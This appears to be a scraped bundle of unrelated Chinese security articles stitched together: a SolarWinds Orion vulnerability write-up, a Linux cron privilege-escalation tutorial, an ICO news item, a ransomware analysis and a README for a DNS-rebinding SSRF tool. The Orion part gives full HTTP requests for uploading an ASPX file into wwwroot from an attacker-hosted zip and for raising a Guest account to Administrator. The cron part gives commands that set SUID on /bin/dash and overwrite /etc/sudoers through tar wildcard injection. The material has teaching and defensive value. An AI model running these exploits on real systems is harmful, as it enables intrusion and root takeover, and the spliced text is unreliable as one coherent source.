__AntiXsrfTokenInput=e2de2272ca1e4cb7854602e9a0ca8d03
HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: binary/octet-stream
Content-Disposition: attachment; filename="OrionReport.PDF"; size=32215
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Wed, 07 Oct 2020 18:24:56 GMT
7dd7
%PDF-1.4
%....
1 0 obj
<< /Creator (EO.Pdf)
/Producer (EO.Pdf 19.2.11.0)
/CreationDate (D:20201007182359+00'00')
/ModDate (D:20201007182359+00'00')
>>
endobj
[...Truncated...]
## 0x03 CVE-2020-27871：目录遍历导致任意文件上传
Orion支持安装各种模块，每个模块可以执行特定的网络监控及管理功能，其中有一个模块为网络配置管理器（NCM，Network Configuration
Manager）模块。该模块安装后就会出现一个任意文件上传漏洞，可以用于远程代码执行。该漏洞的根源来自于如下代码片段：
private void TryDownload(string cveXmlDataPath, out string error)
{
this.vulnDownloader.TryDownload(cveXmlDataPath, out error); // <-------------------------------------
}
// Token: 0x06000005 RID: 5 RVA: 0x00002114 File Offset: 0x00000314
public void TryDownload(string path, out string error)
{
this.log.InfoFormat("json path: \\"{0}\\".", new object[]
{
path
});
IEnumerable<string> dataUrls = this.settings.GetDataUrls();
string path2 = Path.Combine(path, Constants.NvdCpeMatchFolder);
bool flag = !Directory.Exists(path2);
if (flag)
{
Directory.CreateDirectory(path2);
}
List<string> list = new List<string>();
string item;
bool flag2 = !this.TryDownloadDataFeed(this.centralizedSettings.CpeMatchDataFeedUrl, path2, out item); // <--------------- default
if (flag2)
{
list.Add(item);
}
foreach (string url in dataUrls)
{
bool flag3 = !this.TryDownloadDataFeed(url, path, out item); // <----------------------------------------------
if (flag3)
{
list.Add(item);
}
}
error = ((list.Count > 0) ? string.Join(Environment.NewLine, list) : string.Empty);
}
private bool TryDownloadDataFeed(string url, string path, out string error)
{
bool flag = this.Download(url, path); // <-----------------------------------------------
error = null;
bool flag2 = !flag;
bool result;
if (flag2)
{
this.audit.LogFailureAuditMesage(AuditModule.VulnerabilityAudit, AuditAction.FirmwareVulnerabilities, string.Format(Resources.LIBCODE_IC_131, url), Resources.LIBCODE_IC_132);
error = string.Format(Resources.Vulnerability_UrlIsInaccessible_Message, url);
result = false;
}
else
{
result = true;
}
return result;
}
private bool TryDownloadDataFeed(string url, string path, out string error)
{
bool flag = this.Download(url, path); // <-----------------------------------------------------
error = null;
bool flag2 = !flag;
bool result;
if (flag2)
{
this.audit.LogFailureAuditMesage(AuditModule.VulnerabilityAudit, AuditAction.FirmwareVulnerabilities, string.Format(Resources.LIBCODE_IC_131, url), Resources.LIBCODE_IC_132);
error = string.Format(Resources.Vulnerability_UrlIsInaccessible_Message, url);
result = false;
}
else
{
result = true;
}
return result;
}
如上所示，NCM模块中包含一个固件漏洞管理功能，可以从外部站点下载包含JSON文件的一个ZIP文件。默认情况下，该模块会从`https://nvd.nist.gov`站点下载，但这个默认地址可以被修改。下载文件后，该模块会自动从`.zip`压缩文件中提取数据，但并不会检查解压出来的文件的扩展名，也不会验证文件上传路径。因此，攻击者有可能将文件上传至文件系统中的任意位置。该模块会在`SYSTEM`上下文中解压和写入文件。
这个缺陷利用起来非常简单。比如，攻击者可以通过如下请求，将任意ASPX文件上传至`www`目录：
POST /Orion/NCM/Admin/Settings/VulnerabilitySettings.aspx HTTP/1.1
Host: 172.16.11.190:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.190:8787
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
X-XSRF-TOKEN: CE7UJynEir5LuHr57PSgKfVaORlNgU/kYm6D+gpr+JE=
Content-Type: application/x-www-form-urlencoded; charset=utf-8
[...]
Content-Length: 3994
[...]
older%24txtVulnMatchingScheduleTime=12%3A30%3A00+AM&ctl00_ctl00_ctl00_BodyContent_ContentPlaceHolder1_adminContentPlaceholder_txtVulnMatchingScheduleTime_p=2020-9-7-0-30-0-0&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%2
4adminContentPlaceholder%24txtCVEXmlDataPath=C%3A%5Cinetpub%5Cwwwroot <-------------------------------
&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24chAutoDownloadCVEDataUrls=on&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24gridView%24ctl02%24txtUrl=http%3A%2F%2F172.16.11.203%3A8000%2Fpoc7KWR0E.zip <------------------------------------------
&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24txtVulnScoreThreshold=5&__ASYNCPOST=true
这个漏洞有个缺点：只能被Admin用户所利用。然而，攻击者可以通过下面这个漏洞来绕过该限制。
## 0x04 ZDI-CAN-11903/ZDI-21-192：权限提升漏洞
当SolarWinds Orion平台安装了如下任意一个模块后，就会存在该漏洞：
* Network Configuration Manager
* Server Configuration Manager
* IP Address Manager
当平台安装过其中一个产品后，SolarWinds就会在`WebUserSettings`表中存储账户角色。
提供该漏洞的研究人员发现，这个表可以通过`SaveUserSetting`这个隐藏的资源来修改。Guest用户可以发起如下请求，轻松将权限提升至管理员特权：
POST /orion/services/WebAdmin.asmx/SaveUserSetting HTTP/1.1
Host: 172.16.11.190:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.190:8787
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
X-XSRF-TOKEN: THm8YIMQ0sGaGYlPcwJfHvuT6GvRmocs6hPaeFT1H54=
Content-Type: application/json;charset=utf-8
Cookie: .ASPXAUTH=9E5A8A04443C998883584BDCC411A24773DE7D28D3B7317167[...]
Content-Length: 56
{"name": "NCM.NCMAccountRole", "value": "Administrator"}
## 0x05 总结
通过这几篇文章，我们应该充分意识到简单的错误及疏忽将导致严重的后果。幸运的是，SolarWinds已经在[Orion Platform 2020.2.1
HF2](https://documentation.solarwinds.com/en/Success_Center/orionplatform/content/release_notes/orion_platform_2020-2-1_release_notes.htm)中解决了以上所有漏洞，我们建议受影响的平台第一时间进行升级。 | 社区文章 |
# 使用Cronjobs进行Linux权限提升
##### 译文声明
本文是翻译文章，文章原作者 RAJ CHANDEL，文章来源：www.hackingarticles.in
原文地址：<http://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在解决了几个OSCP挑战题之后，我们决定编写一篇关于用于Linux权限提升的各种方法的文章，这对我们的读者在他们的渗透测试项目中可能会有所帮助。在本文中，我们将学习“利用CronJobs进行权限提升”以获得远程主机的根访问权限，并且还将研究一种糟糕的cron
job实现是如何导致权限提升的。如果你已经解决了CTF的Post Exploit挑战，那么通过阅读本文，你将学到导致权限提升的一些漏洞。
有关详细信息可以阅读我们之前的文章，在其中我们将本文的技巧用于权限提升。
[链接1](http://www.hackingarticles.in/hack-the-box-challenge-europa-walkthrough/)：黑盒挑战：欧罗巴漫游
[链接2](http://www.hackingarticles.in/hack-milnet-vm-ctf-challenge/)：Hacking
Milnet VM（CTF挑战题）
## CronJobs是什么？
CronJobs用于在服务器上通过特定日期和时间执行命令来调度任务，常用于系统管理员任务，如备份或清理/tmp/目录等。Cron这个词来自crontab，它在/etc目录下。
[](https://p4.ssl.qhimg.com/t01eb00691396701e96.png)
例如：在crontab中，我们可以通过一下命令，每隔1小时自动打印Apache错误日志。
1 0 * * * printf "" > /var/log/apache/error_log
## Crontab文件覆盖
### 设置
目标：在crontab的帮助下设置一个新的cronjob来运行python脚本，该脚本将删除指定目录中的所有数据。
假设“清理”的是每隔两分钟自动清除数据的目录。因此，我们在/home/cleanup保存了一些数据。
mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls
可以看到，有些文件存储在清理目录中。
[](https://p4.ssl.qhimg.com/t01eb5833199fcfb732.png)
现在，在任何其他目录中编写python脚本，删除 /home/cleanup中的数据，并授予所有权限。
cd /tmp
nano cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /home/cleanup/* ')
except:
sys.exit()
**chmod 777 cleanup.py**
[](https://p5.ssl.qhimg.com/t01dd06486192c55a42.png)
最后，在crontab的帮助下，每2分钟安排一个任务来运行Clearup.py。
nano /etc/crontab
*/2 * * * * root /tmp /cleanup.py
[](https://p2.ssl.qhimg.com/t01d22a2a37f108bbc3.png)
现在让我们验证一下:
cd /home/cleanup
ls
date
ls
很酷！所有文件在两分钟后都被删除了。
[](https://p1.ssl.qhimg.com/t01b6c37b5634f9b617.png)
### Post Exploitation
启动攻击机器，首先登陆到目标系统，然后进入提权阶段。假设我成功地通过ssh登录到受害者的机器，并访问非根用户终端。执行如下所示的命令。
cat /etc/crontab
ls -al /tmp/cleanup.py
cat /tmp/cleanup.py
从上面的步骤中，我们注意到crontab每两分钟运行python脚本一次，现在让我们利用它。
[](https://p4.ssl.qhimg.com/t014d5a4ab36d3ee30b.png)
获得根访问的方法很多，在这个方法中，我们启用了 SUID
bits/bin/dash。这非常简单，首先，通过一些编辑器打开文件，例如nanocleanup.py，并从下面的一行替换为“rm-r/tmp/*”，如下所示:
os.system('chmod u+s /bin/dash')
[](https://p2.ssl.qhimg.com/t01a30b23d89ba20fed.png)
两分钟后，它将为/bin/dash设置SUID权限，运行时，它将授予根访问权限。
/bin/dash
id
whoami
很好，我们目的达到了…
[](https://p2.ssl.qhimg.com/t016c392cba29c7aee8.png)
## Crontab Tar通配符注入
### 设置
目的：利用crontab对HTML目录下的tar文件程序进行备份，目录应该具有可执行权限，你将对其进行备份。
[](https://p3.ssl.qhimg.com/t0149b059d7607727d0.png)
现在，在crontab的帮助下安排一项任务，运行tar备份程序，在每1分钟内备份/var/backups/html的文件。
nano /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
[](https://p3.ssl.qhimg.com/t01c02de966244fb3b5.png)
通过执行以下命令来验证是否有效。
cd /var/backup
ls
date
如下图可以看到到1分钟后html.tgz文件已经生成。
[](https://p5.ssl.qhimg.com/t0160df51efa4f6ab93.png)
### Post Exploitation
启动攻击机器，首先登陆到目标系统，然后进入提权阶段。假设我成功地通过ssh登录到受害者的机器，并访问非根用户终端。然后打开crontab，查看是否安排了任何任务。
cat /etc/crontab
在这里，我们注意到目标每1分钟就安排一个tar备份程序，我们知道cronjob以root身份运行。让我们试着利用。
[](https://p1.ssl.qhimg.com/t01e1edaaf0f68ca723.png)
执行以下命令将sudo权限授予记录的用户，随后的利用漏洞攻击称为通配符注入（wildcard injection）。
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
1分钟后它将授予用户sudo权限，通过下图命令验证：
sudo -l
sudo bash
whoami
很棒，我们已经成功获得根访问权限。
[](https://p4.ssl.qhimg.com/t013ebdc0cd0a428548.png)
审核人：yiwang 编辑：边边 | 社区文章 |
# 英国：ICO就数据保护不力向英国教育部发出谴责
##### 译文声明
本文是翻译文章，文章原作者 强心语，文章来源：数据治理与竞争法研究
原文地址：<https://mp.weixin.qq.com/s/9M17m4A_8iom-7fbIL8t0w>
译文仅供参考，具体内容表达以及含义原文为准。
**译 者 按**
✦
✦
11月6日，英国信息专员办公室（下文简称ICO）向英国教育部（DfE）发出谴责，原因是教育部对其控制的存储学习记录的数据库（下文简称LRS）监管不力，导致多达2800万儿童的个人信息被长期滥用。
LRS数据库有多达2800万14岁以上儿童和青少年的个人信息，Trust Systems Software UK
Ltd（交易名为Trustopia）公司在2018年9月至2020年1月期间访问了LRS数据库，并对22000名学习者进行了年龄验证的搜索。然而，英国教育部证实，Trustopia从未提供任何政府资助的教育培训。ICO的调查认为，由于DfE的尽职调查不力，导致学生的学习记录数据最终被Trustopia用来检查开设在线赌博账户的人是否满18岁。鉴于ICO于2022年6月宣布的一项针对公共部门的新方法（目的是减少罚款对公众的影响），本案将不对教育部处以罚款，但不影响此案的严重性。
关于儿童数据保护的更多内容，请见本公众号往期内容：
1. [【域外动态】美国：FTC发布关于儿童数字广告治理的虚拟活动议程](http://mp.weixin.qq.com/s?__biz=MzI0NjczNTcyNw==&mid=2247488434&idx=1&sn=a5b5bfabf01c52d1c99b0b2855d1d134&chksm=e9bbe5b2decc6ca49d16f3e8c2f38c04b0d3eb33d952e9108b54ab518f99cc9e638245b4f502&scene=21#wechat_redirect)
2. [【数据治理】儿童在线数据：美国FTC启动“返校季”儿童在线数据保护调查行动](http://mp.weixin.qq.com/s?__biz=MzI0NjczNTcyNw==&mid=2247487984&idx=1&sn=5389842d5fbafc110e59a7591e1bafc4&chksm=e9bbe7f0decc6ee67a38c6c824a5a05b3ec2340c6ee6771daaa89bcecfd7c59a71265a3741d0&scene=21#wechat_redirect)
3. [【域外动态】欧盟EDPB：发布《无差别打击网上儿童性虐待对基本权利构成严重风险》的意见报告](http://mp.weixin.qq.com/s?__biz=MzI0NjczNTcyNw==&mid=2247487617&idx=1&sn=f41d01cded395382db159714e0d2b476&chksm=e9bbe681decc6f9715d9fcd4c32cc57c489b6209696ca7d4e9b8f49f6dfe340ed71d060c7e19&scene=21#wechat_redirect)
4. [【成果发布】全球主要司法辖区儿童在线保护概览](http://mp.weixin.qq.com/s?__biz=MzI0NjczNTcyNw==&mid=2247486533&idx=1&sn=6aa05ae5a4e8cdc691d56fafe5e3aeb7&chksm=e9bbfa45decc73534f944389a6d9d5a3c31110c4c86637728dc07a4952e70555789437a3f068&scene=21#wechat_redirect)
5. [【域外动态】英国ICO专员发表关于“在线儿童保护”必要性的意见](http://mp.weixin.qq.com/s?__biz=MzI0NjczNTcyNw==&mid=2247486406&idx=1&sn=a4ade298f81df4f9071ce3f7748ea845&chksm=e9bbfdc6decc74d071a0700057fb6b9d5bb79eb64cd5c1109ddd7fcdb6b511bfa26ec5824886&scene=21#wechat_redirect)
6. [【数据治理】美国加州拟借鉴英国《儿童适龄设计准则》出台更严格的儿童数据保护方案](http://mp.weixin.qq.com/s?__biz=MzI0NjczNTcyNw==&mid=2247484403&idx=1&sn=bae32f1e4d7fcea224de2ff829cbfc6c&chksm=e9bbf5f3decc7ce50ac4aab5e8ca56455f375d773ee3122219cac35dde93e17f7f48fb826155&scene=21#wechat_redirect)
英国教育部对学习记录服务数据库（LRS）负有全面责任。LRS数据库有多达2800万14岁以上儿童和青少年的个人信息。该数据库记录了全名、出生数据和性别，并有电子邮件地址和国籍的可选字段。它还记录了一个人的学习和培训成就。这些数据被保存了66年。
在漏洞发生时，有12600个组织可以访问LRS数据库，包括学校、学院、高等教育机构和其他教育机构。这是为了让组织能够验证一些功能，包括潜在学生的学术资格或检查他们是否有资格获得资助。
ICO经调查发现，当Trustopia告知教育部它是Edududes Ltd的新交易名称时，教育部继续允许Trustopia访问该数据库（Edududes
Ltd曾是一家培训机构）。然而，Trustopia实际上是一家筛选公司，并将数据库用于年龄验证，他们向包括GB集团在内的公司提供这项服务，帮助赌博公司确认客户是否超过18岁。这种数据共享意味着这些信息没有被用于其最初的目的。这违反了数据保护法。
ICO同时对Trustopia进行了调查，在此期间，该公司确认它不再能够访问数据库，并且临时文件中的数据缓存已被删除。在ICO调查结束之前，Trustopia已经解散，因此无法采取监管行动。
英国信息专员John
Edwards表示：“一个学生的学习记录数据库被用来帮助赌博公司是不可接受的，这是毫无争议的。我们的调查发现，教育部制定的程序是非常糟糕的。数据被滥用，而教育部甚至不知道有这个问题，直到一家全国性报纸通知他们。我们有绝对的权利期望我们的中央政府部门以最大的尊重和安全来对待他们持有的我们的数据，当涉及到2800万儿童的信息时更是如此。这是一个严重的违法行为，在这个具体案例中，本应被处以1000万英镑的罚款。我们已经决定不开罚单，因为任何支付的罚款都会返还给政府，所以影响会很小。但是，这不应该减弱我们所强调的错误的严重性，也不应该减弱教育部需要解决这些问题的迫切性。”
ICO在谴责中表示：
* 英国GDPR第5 (1)(a)条要求“就数据主体而言，以合法、公平和透明的方式处理个人数据”。“基于这次调查的结果，ICO认为教育部未能公平、合法和透明地处理个人数据。存储在LRS数据库中的个人数据被分享给第三方，并在没有适当的合法基础和数据主体不知情的情况下进一步处理。
* 英国GDPR第5(1)(f)条要求“处理个人数据的方式应确保个人数据的适当安全，包括防止未经授权或非法处理，以及防止意外丢失、破坏或损坏，使用适当的技术或组织措施‘完整性和保密性’。”根据这次调查的结果，ICO认为，教育部没有采取足够的措施来防止未经授权或非法访问LRS数据库。
同时ICO承认，自事件发生以来，教育部已经进行了一些内部审查。例如，取消了2600个组织对LRS数据库的访问，并加强了其注册程序。教育部还定期检查对数据库的过度搜索，并主动取消不再使用该数据库的组织的注册。
ICO进一步列出了教育部需要采取的明确措施，以改善他们的数据保护做法，使儿童的数据得到妥善的管理，具体措施包括：
1) 教育部必须采取措施，提高LRS数据库处理的透明度，以便数据主体了解并能够行使他们的数据主体权利，以满足英国GDPR第5 (1)(a)条的要求；
2)
教育部应继续定期审查所有内部安全程序，以确定任何可以实施的额外预防措施，这将减少此类事件再次发生的风险，并有助于遵守英国GDPR第5(1)(f)条的规定；
3) 此外，教育部应通过有效的沟通和提供明确的指导，确保所有相关工作人员了解因这一事件而产生的任何流程变化；
4)
为了更好地遵守英国GDPR第36条（事先咨询）和英国GDPR第35条（数据保护影响评估（DPIA）），在处理可能导致个人高风险的个人数据时，教育部应该完成一个彻底和详细的数据保护影响评估（DPIA），充分评估该处理所带来的风险。这将使DfE能够识别和减轻该处理对个人的数据保护风险；
5) 此外，教育部应继续确保向所有工作人员提供足够的数据保护培训。 | 社区文章 |
# 【技术分享】一款失败的国产加密勒索软件技术分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
近两年，以敲诈勒索为目的的文件加密恶意软件逐渐成为恶意软件中的主力军。以Locky家族，ceber家族为典型代表的加密勒索软件席卷国外，对政府机构，公司乃至个人用户造成了极大的危害。早期的加密勒索软件一般以网页挂马形式出现，“落户”到本地运行后会经过一系列的代码重组及解密操作得到用于执行主要功能的shellcode，然后运行shellcode对指定文件进行加密。由于程序代码段在解密和解混淆之后与之前已经完全不同，主要功能又移至shellcode中执行，因此此类加密勒索软件较容易躲过杀软的静态检测。但为了对抗杀软不断更新的特征库，软件作者也必须不断更改加密方法，这也造成了研发成本的增加。在最近这段时间，加密勒索类软件有简化的趋势，软件开发者将目光转向了拥有较为完善的加密函数类库的.NET平台，同时也去除一些混淆操作，直接使用.NET平台下一些公开的混淆方法。当然，软件开发的简化也“造福”了国内一大帮急于发财但技术又不是那么过关的“伪黑客”。从最近的样本捕获可以发现，已有一些国内黑客试水.NET平台下的加密勒索软件。
**样本具体分析**
捕获到的样本由c#语言编写，使用了.NET
Reactor4.2混淆，在去混淆之后程序只有20几k的大小。可以看出，.NET平台下的加密勒索软件相比较之前国外的其他加密勒索软件体积上缩小特别多，但加密的速度还是不尽如人意，一般需要半分钟至一分钟的时间才能完成一整套加密操作。
图1 去混淆后的程序非常小
样本集加密与解密于一身，当文件被加密后，受害者只需要到相应比特币网站上付款然后再双击运行一次原程序即可进行解密。第二次运行该程序，程序便通过判断赎金是否到账来决定是否进行解密。相比较国外一些非常繁琐的交付赎金解密的步骤，这款国产敲诈勒索相对比较“良心”，但也侧面说明一点，作者的目标可能不是一些企业用户或者机构用户，而是普通的用户，包括不了解电脑知识的用户，该软件一旦传播开来破坏性不小。
和其他加密勒索软件的套路相同，该软件也是使用AES加密算法去加密系统中的文件，然后使用RSA加密算法去加密AES密钥。虽然AES是对称加密算法，但RSA为非对称加密算法，只有拥有RSA私钥才能解密得到AES的密钥进而对被加密的文件进行解密。除外，软件加密时使用的AES密钥是随机生成的，因此在加密过后无法复现密钥。
图2 密钥间加密过程
图3 用AES密钥对文件进行加密
程序通过判断文件名来选择执行加密的文件，除了一些系统文件夹诸如“Program
Files”之外，还专门针对国内用户加密文件名中含有“优酷”，“风行”，“QQpet”字样的文件。
图4 一些被加密的文件名
在进行加密之后，程序会将交付赎金的步骤等需要受害者知晓的信息写入到文件中，并将文件放在系统的关键文件夹以及桌面上。除外，为了更加显眼作者干脆来了个超大的对话框告诉受害者交付赎金的方法。
图5 初始化文件中的内容
图6 将恢复步骤写入文件并复制到桌面上
图7 循环弹对话框
下图所示就是弹出的写有恢复步骤的对话框。从中可以看出，恢复步骤其实不复杂，交付赎金之后双击再次运行程序即可。
图8 写有恢复步骤的对话框
那么程序是如何判断用户已经交付赎金了呢？从下面的代码可以看出，程序访问相关比特币帐户，并根据返回值来进行判断。可以看出，作者使用的比特币网站和国内一些打码平台的运作方式相似，即用户通过相关网址提交数据，而程序可以访问相关接口来获取实时的结果，这种借助第三方来进行交易的方式不仅不容易暴露作者身份，也方便作者实时获得账户信息，可以说是一种自动化的“提款机”。
图9 访问比特币帐户相关网址
图10 判断付款金额是否足够
从上图可以看出，受害者应付的数值为num3，受害者所付的数值为num4/1E08，通过判断两值的大小来确定付款金额是否足够。从返回信息和代码信息可以看出，num3是应付赎金对应的比特币数目，通过访问hxxp://blockmeta.com/api/v1/chain/ticker可以获得当前比特币对人民币的汇率，并通过num（应付金额）/num2（比特币汇率）来计算作者应得的比特币，然后作者访问自己账户获得已收到的比特币数并进行比较。
图11 返回信息显示比特币汇率
在获得赎金后，程序就该执行解密操作了，按照常见的加密勒索软件的套路应该是访问一个暗网地址获取密钥解密。不过。。。作者好像用了另一种套路，他把密钥全部存放在了本地。。。放在了本地。。。本地。。。
如下图所示，作者把加密文件用的AES密钥和加密AES密钥的RSA公钥私钥全存放在了桌面的ckt文件中。
图12 生成ckt后缀的文件存放密钥
当交付赎金成功后，即通过本地的ckt文件进行解密。
图13 调取存放在本地的密钥进行
既然密钥都存放在本地，就可以通过密钥来进行相应的解密操作。可以说，这个加密勒索做得相当相当相当失败。不过换句话说，一般用户可能不知道桌面上的ckt文件就是解密的密钥，所以说，中了加密勒索软件之后先别慌张，先检查程序是否遗留下样本或者一些相关的信息，如果有的话可以提交到杀毒软件相关反馈窗口，由病毒分析人员分析并确定解密的可行性。
除了利用本地的密钥进行解密，我们还发现了另一个可以利用的点。程序通过判断作者比特币账户上的比特币数量是否大于应付赎金可兑换的比特币数量来决定是否进行解密。判断的代码如下所示。
图14 判断条件
该条件如果成立，则说明支付的赎金不够。因此满足支付的条件为num4/1E08>num3。num4和num3都是从作者账户或者相应比特币汇率信息中得到的数据，修改较不方便，但1E08是硬编码在代码里的，当然可以通过修改这个数值来使条件满足。既然作者用num4/1E08和num3比较，说明num4应该比num3大好几个数量级，我们不妨把1E08改为1，只要num4最初不等于0，num4/1E08>num3就有极大可能会成立。
图15 修改前相应位置的IL指令
图16 修改后相应位置的IL指令
果不其然，即使没有交付赎金，程序也能跳转到解密部分执行解密功能。加密勒索软件转眼间就成了解密程序。当然，如果num4等于0，就不能通过修改1E08这个值来改变跳转条件，这时候可以通过修改相应的IL指令将跳转条件中的<=改为>即可实现相同效果。如下图所示。
图17 修改前相应位置的IL指令
图18 修改后相应位置的IL指令
图19 解密前的文件
图20 解密后的文件
只能说，这种把密钥存放在本地的方式实在太失败了，但侧面也反映出了作者的一些顾虑。如果通过服务器上传密钥或下载密钥进行解密就会很容易被分析人员通过服务器地址溯源出病毒作者的个人信息。由此看来作者的“反侦察意识”还是蛮强的，只是使用的方法，实在不忍直视。。。
可能作者也发现了该软件存在严重的漏洞，不久过后，360互联网安全中心又捕获到一枚加密勒索软件。通过对该加密勒索软件的分析不难看出，两个加密勒索软件出自同一人之手。
图21 升级后的加密勒索软件
图22 新样本中对ckt的命名方式和上一个样本相同
新样本中的加密手法和老样本相同，只是对于密钥的处理方式发生了改变，不再是以前的直接将密钥存放在本地，而是将用户计算机名称以及加密所需的密钥上传到hxxp://www.diaochapai.com/survey/b6ceb9cf-3902-4496-a630-89055efde01c。这是一个用户发布调查表的网站，从用户计算机获取的数据可能作为调查表的内容上传到该地址，而软件作者作为调查表的发布者可以很容易的看到这些数据，也就可以得到每一台计算机感染该加密勒索软件时所使用的密钥。由于上传密钥时顺道上传了计算机名，也就达到了“一机一码”的效果，作者在接收赎金进行解密时也更加方便。
图23 上传密钥和计算机名
同样，加密成功后程序会弹出相应的文本内容以及警告框要求用户联系邮箱imugf@outlook.com来申请解密。
图24 弹出写有恢复方法的文本内容
图25 弹出警告框
被加密后的文件如下图所示。
图26 被加密的文件
那么，是不是作者上传了密钥就没办法进行解密，只能乖乖交付赎金了？理论上是这样的，但不知是作者良心发现还是良心发现，竟然留下了一段可能可以用来解密的代码。
如下图所示，作者在进行上传操作时使用的是try catch语句，一旦上传出现异常则转向异常处理代码，而异常处理代码竟然是。。。把密钥保存在本地。
图27 一旦上传失败就将密钥存在本地
可能作者考虑到有些用户的文件遭到加密时上传地址已经失效，如果这时不存留一份密钥的话，用户的文件将永远无法解密。看来作者还是有点良心的。。。而作者又是一个善于“隐藏身份”的人，肯定会经常修改上传地址，这会导致该版本的上传地址很快就失效，因此许多用户的文件遭到加密时，是可以在本地找到解密密钥的。不过如果用户不知道本地存放的这些以ckt为后缀的文件就是解密密钥，可能同样会去联系作者，也同样会被坑一笔钱。
图28 分析过程中该上传地址已经失效
所以用户在发现自己计算机中的文件遭到加密后千万不要马上联系对方，可能加密密钥就在本地，而你却因此被坑了一大笔钱。这时候将情况反馈给杀毒软件厂商才是最正确的选择。
**
**
**总结**
由于加密勒索软件开发技术的简化以及该产业所带来的暴利对国内黑产从业者的诱惑，国内的加密勒索软件数量将呈现不断上升的趋势。用户在发现计算机中的文件被加密后，不要急于支付赎金，而应该检查计算机中是否有相应病毒样本或者相关信息的残留，如果有的话可以反馈到杀毒软件，由专业分析人员进行分析并确定解决方案。值得一提的是，
**360安全卫士已经开通了“反勒索服务”** **，并向用户公开承诺：使用360安全卫士11.0版本并开启该服务后，一旦感染敲诈者病毒，
360将提供最高3个比特币（约13000元人民币）的赎金并帮助用户恢复数据，让用户远离财物及文档的损失。** | 社区文章 |
# dnsAutoRebinding
>
> ssrf、ssrf内网地址fuzz、dns二次rebinding、支持ipv4/ipv6、支持ip地址转换码、dns记录污染(文末一个0day为例)。脑图在脑子里，懒得画了。
support Record Type and Encoding：
MX = ipv4/ipv6/hex
A = ipv4/en/int/hex
AAAA = ipv6/int/hex
CNAME = ipv4/ipv6/hex
配置监听服务器example.com：
<table> record type record record value A ns server ip NS test ns.example.com
</table>
> sudo pip install ipaddr
修改lib/config.conf： maindomain = test.example.com. 注意根地址.要加
Usage: sudo python main.py {Options}
Options:
-h, --help show this help message and exit
-t 300, --TTL=300 ttl value , 0 By Default
-y A/AAAA/CNAME/MX, --Type=A/AAAA/CNAME/MX
Record Type , A By Default
-e int/hex/en, --Encoding=int/hex/en
Record Encoding , None By Default
-r, --Rebinding The Second Time Query Return Target Ip
-p "<script>alert(/xss/)</script>", --payload="<script>alert(/xss/)</script>"
Specified Record , Support CNAME/MX
-y选项指定以什么记录类型返回： `-y A/AAAA/CNAME/MX, --Type=A/AAAA/CNAME/MX Record Type , A By Default`
-t选项指定TTL值： `-t 300, --TTL=300 ttl value , 0 By Default`
直接A记录返回ipv4地址： `sudo ./main.py`
➜ ~ dig 192.168.1.1.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 192.168.1.1.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50359
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;192.168.1.1.test.example.com. IN A
;; ANSWER SECTION:
192.168.1.1.test.example.com. 0 IN A 192.168.1.1
;; AUTHORITY SECTION:
test.example.com. 227 IN NS ns.example.com.
server: `[21:54:16] client ip:44486 => A =>
192.168.1.1.test.example.com.`
hex编码： `sudo ./main.py -e hex`
➜ ~ dig 31302e302e302e31.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 31302e302e302e31.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1585
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;31302e302e302e31.test.example.com. IN A
;; ANSWER SECTION:
31302e302e302e31.test.example.com. 0 IN A 10.0.0.1
;; AUTHORITY SECTION:
test.example.com. 600 IN NS ns.example.com.
server: `[22:00:42] client ip:30150 => A =>
31302e302e302e31.test.example.com.`
int编码： `sudo ./main.py -e int`
➜ ~ dig 3232235777.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 3232235777.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18066
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;3232235777.test.example.com. IN A
;; ANSWER SECTION:
3232235777.test.example.com. 0 IN A 192.168.1.1
;; AUTHORITY SECTION:
test.example.com. 456 IN NS ns.example.com.
server: `[22:03:00] client ip:5240 => A => 3232235777.test.example.com.`
因为waf会识别出内网地址才用的上本项目，那么waf大可识别进制转换这种，所以要自己写个地址转换方法：
num to en:
./lib/common.py 192.168.1.1
1. Single IP Covert For En
2. Build IP List
[+] [1 By Default/2]
bjckbgikbkb
`sudo ./main.py -e en`
➜ ~ dig bjckbgikbkb.test.example.com
; <<>> DiG 9.8.3-P1 <<>> bjckbgikbkb.test.example.com
;; global options: +cmd
